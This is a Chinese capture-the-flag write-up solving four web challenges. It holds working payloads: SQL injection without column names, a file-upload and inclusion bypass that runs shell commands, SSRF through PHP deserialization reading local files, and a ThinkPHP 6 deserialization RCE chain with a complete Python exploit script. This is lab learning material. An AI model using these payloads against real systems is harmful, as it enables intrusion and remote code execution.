web
hacker
sql无列名注入；
提示查询username参数，flag在flag表中；
传参测试发现，union select 可用，空格被过滤可以使用/**/代替 ，or也被过滤了且无法大小写、双写等绕过，导致无法查询flag表里的字段名，需注意flag在flag表中并不是flag字段，直接联合查询flag表的flag字段查询不到flag，因此就可以想到sql无列名注入，只需知道表名不用知道字段名即可查询字段的数据，payload如下；
?username=joe'union/**/select/**/a/**/from/**/(select/**/1,2/**/as/**/a/**/union/**/select/**/*/**/from/**/flag)/**/as/**/q%23无列名注入获取flag表中数据；
100％_upload
文件上传+文件包含；
进入容器，文件上传界面，且一看url就猜测存在文件包含；
尝试file://协议读取/etc/passwd文件成功，存在文件包含，直接读取/flag提示不能直接获取，所以读取upload.php文件；
index.php?file=php://filter/read=convert.base64-encode/resource=upload.phpbase64解码upload.php源码如下；
<?phpif(isset($_FILES['upfile'])){$uploaddir = 'uploads/';$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);$ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);$text = file_get_contents($_FILES['upfile']['tmp_name']);echo $ext;if (!preg_match("/ph.|htaccess/i", $ext)){if(preg_match("/<\?php/i", $text)){echo "茂夫说：你的文件内容不太对劲哦<br>";}else{move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);echo "上传成功<br>路径为:" . $uploadfile . "<br>";}} else {echo "恶意后缀哦<br>";}}
?>发现过滤了ph、htaccess后缀且文件内容不可有php标签，进行标签绕过、上传图片并配合文件包含即可；
# 上传1.png
?><?=`cat /flag`;包含uploads/1.png获取flag；
EZ_SSRF
简单的ssrf，index.php源码如下；
<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_HEADER, 0);curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);$data = curl_exec($curl);curl_close($curl);echo base64_encode($data);return $data;
}
class client{public $url;public $payload;public function __construct(){$url = "http://127.0.0.1/";$payload = "system(\"cat /flag\");";echo "Exploit";}public function __destruct(){get($this->url);}
}
// hint:hide other file
if(isset($_GET['Harder'])) {unserialize($_GET['Harder']);
} else {echo "You don't know how to pass parameters?";
}?>
You don't know how to pass parameters?ssrf，配合php反序列化使用file://协议即可读取本地文件，dirsearch目录扫描发现admin.php和flag.php；
方法一，直接读取flag.php并base64解码即可获取flag；
<?phpclass client{public $url = 'file:///var/www/html/flag.php';public $payload;
}echo serialize(new client());
?># payload
O:6:"client":2:{s:3:"url";s:29:"file:///var/www/html/flag.php";s:7:"payload";N;}
方法二，读取admin.php源码如下，发现本地访问admin.php即可获得flag；
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
$allowed_ip = "127.0.0.1";
if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {die("You can't get flag");
} else {echo $flag;
}
?>ssrf访问本地admin.php，将返回结果base64解码获得flag；
<?phpclass client{public $url = 'http://127.0.0.1/admin.php';public $payload;
}echo serialize(new client());
?>
# payload
O:6:"client":2:{s:3:"url";s:26:"http://127.0.0.1/admin.php";s:7:"payload";N;}
Oyst3rPHP
ThinkPHP v6.0.x 反序列化漏洞的利用；
app/controller/Index.php部分源码如下，只需绕过三个if判断即可传参进行反序列化；
class Index extends BaseController
{public function index(){echo "RT，一个很简单的Web，给大家送一点分,再送三只生蚝，过年一起吃生蚝哈";echo "<img src='../Oyster.png'"."/>";$payload = base64_decode(@$_POST['payload']);$right = @$_GET['left'];$left = @$_GET['right'];$key = (string)@$_POST['key'];if($right !== $left && md5($right) == md5($left)){echo "Congratulations on getting your first oyster";echo "<img src='../Oyster1.png'"."/>";if(preg_match('/.+?THINKPHP/is', $key)){die("Oysters don't want you to eat");}if(stripos($key, '603THINKPHP') === false){die("！！！Oysters don't want you to eat！！！");}echo "WOW！！！Congratulations on getting your second oyster";echo "<img src='../Oyster2.png'"."/>";@unserialize($payload);//最后一个生蚝在根目录，而且里面有Flag？？？咋样去找到它呢？？？它的名字是什么？？？//在源码的某处注释给出了提示，这就看你是不是真懂Oyst3rphp框架咯！！！//小Tips：细狗函数┗|｀O′|┛ 嗷~~}}第一个if，使用2个MD5加密后0e开头的字符串绕过MD5值弱比较；
?left=s878926199a&right=QNKCDZO第二、三个if，key值需包含603THINKPHP且不符合正则匹配，使用php正则的回溯绕过，回溯次数大于1000000时返回Flase；
# post传参
key=1000000个任意字符拼接603THINKPHPThinkPHP v6.0.x 反序列化，直接使用工具生成payload进行rce即可，工具phpgcc：https://github.com/ambionics/phpggc
将phpgcc解压到kali执行如下命令生成rce的payload；
./phpggc ThinkPHP/RCE3 system "cat /Oyst3333333r.php" --base64###
其中app/controller/Index.php中进行了base64解码，这里要编码
/Oyst3333333r.php为flag的位置，在/vendor/topthink/think-orm/src/Model.php中也有提示
最终利用exp如下；
import requests
import reurl = 'http://yuanshen.life:37859/?left=s878926199a&right=QNKCDZO'
key = 'a' * 1000000 + '603THINKPHP'
data = {'payload': 'Tzo0MToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxQc3I2Q2FjaGUiOjM6e3M6NDc6IgBMZWFndWVcRmx5c3lzdGVtXENhY2hlZFxTdG9yYWdlXFBzcjZDYWNoZQBwb29sIjtPOjI2OiJMZWFndWVcRmx5c3lzdGVtXERpcmVjdG9yeSI6Mjp7czoxMzoiACoAZmlsZXN5c3RlbSI7TzoyNjoiTGVhZ3VlXEZseXN5c3RlbVxEaXJlY3RvcnkiOjI6e3M6MTM6IgAqAGZpbGVzeXN0ZW0iO086MTQ6InRoaW5rXFZhbGlkYXRlIjoxOntzOjc6IgAqAHR5cGUiO2E6MTp7czozOiJrZXkiO3M6Njoic3lzdGVtIjt9fXM6NzoiACoAcGF0aCI7czoyMToiY2F0IC9PeXN0MzMzMzMzM3IucGhwIjt9czo3OiIAKgBwYXRoIjtzOjM6ImtleSI7fXM6MTE6IgAqAGF1dG9zYXZlIjtiOjA7czo2OiIAKgBrZXkiO2E6MTp7aTowO3M6ODoiYW55dGhpbmciO319','key': key}res = requests.post(url, data=data)flag = re.search(r'SICTF{.*}', res.text).group()
print(flag) # SICTF{01a44fce-57db-4ccd-9bbb-dce5301eca92}
